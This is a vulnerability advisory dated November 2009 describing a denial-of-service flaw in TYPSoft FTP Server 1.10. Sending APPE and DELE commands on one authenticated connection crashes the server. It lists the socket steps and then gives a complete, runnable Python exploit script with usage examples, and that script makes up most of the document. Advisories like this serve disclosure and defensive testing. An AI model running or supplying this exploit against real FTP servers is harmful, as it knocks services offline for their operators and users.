Date of Discovery: 24-Nov-2009
Credits:leinakesi[at]gmail.com
Vendor: TYPSoft
Affected:
TYPSoft FTP Server Version 1.10
Earlier versions may also be affected
Overview:
TYPSoft FTP Server is an easy use FTP server Application. Denial of Service
vulnerability exists in TYPSoft FTP Server when
"APPE" and "DELE" commands are used in the same socket connection.
Details:
If you could log on the server successfully, take the following steps and the
ftp server will crash which would lead to
Denial of Service attack:
1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.sock.send("PORT 127,0,0,1,122,107\r\n")
5.sock.send("APPE "+ test_string +"\r\n")
6.sock.send("DELE "+ test_string +"\r\n")
7.sock.close()
Severity:
High
Exploit example:
#!/usr/bin/python
import socket
import sys
import time
def Usage():
print ("Usage: ./expl.py <local_ip> <serv_ip> <Username>
<password>\n")
print ("Example:./expl.py 127.0.0.1 127.0.0.1 anonymous anonymous\n")
print ("Example:./expl.py 192.168.48.183 192.168.48.111 anonymous
anonymous\n")
if len(sys.argv) <> 5:
Usage()
sys.exit(1)
else:
local=sys.argv[1]
hostname=sys.argv[2]
username=sys.argv[3]
passwd=sys.argv[4]
test_string="a"*30
ip_every=local.split('.')
for i in range(1,10000):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_data = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((hostname, 21))
except:
print ("Connection error!")
sys.exit(1)
r=sock.recv(1024)
print "[+] "+ r
sock.send("user %s\r\n" %username)
print "[-] "+ ("user %s\r\n" %username)
r=sock.recv(1024)
print "[+] "+ r
sock.send("pass %s\r\n" %passwd)
print "[-] "+ ("pass %s\r\n" %passwd)
r=sock.recv(1024)
print "[+] "+ r
sock_data.bind((local,31339))
sock_data.listen(1)
sock.send("PORT " + ip_every[0] +","+ ip_every[1] +","+ ip_every[2]
+"," + ip_every[3] + ",122,107\r\n")
print "[-] "+ ("PORT " + local + "122,107\r\n")
r=sock.recv(1024)
print "[+] "+ r
sock.send("APPE "+ test_string +"\r\n")
print "[-] "+ ("APPE "+ test_string +"\r\n")
r=sock.recv(1024)
print "[+] "+ r
sock.send("DELE "+ test_string +"\r\n")
print "[-] "+ ("DELE "+ test_string +"\r\n")
r=sock.recv(1024)
print "[+] "+ r
sock.close()
sock_data.close()
time.sleep(2)
sys.exit(0);
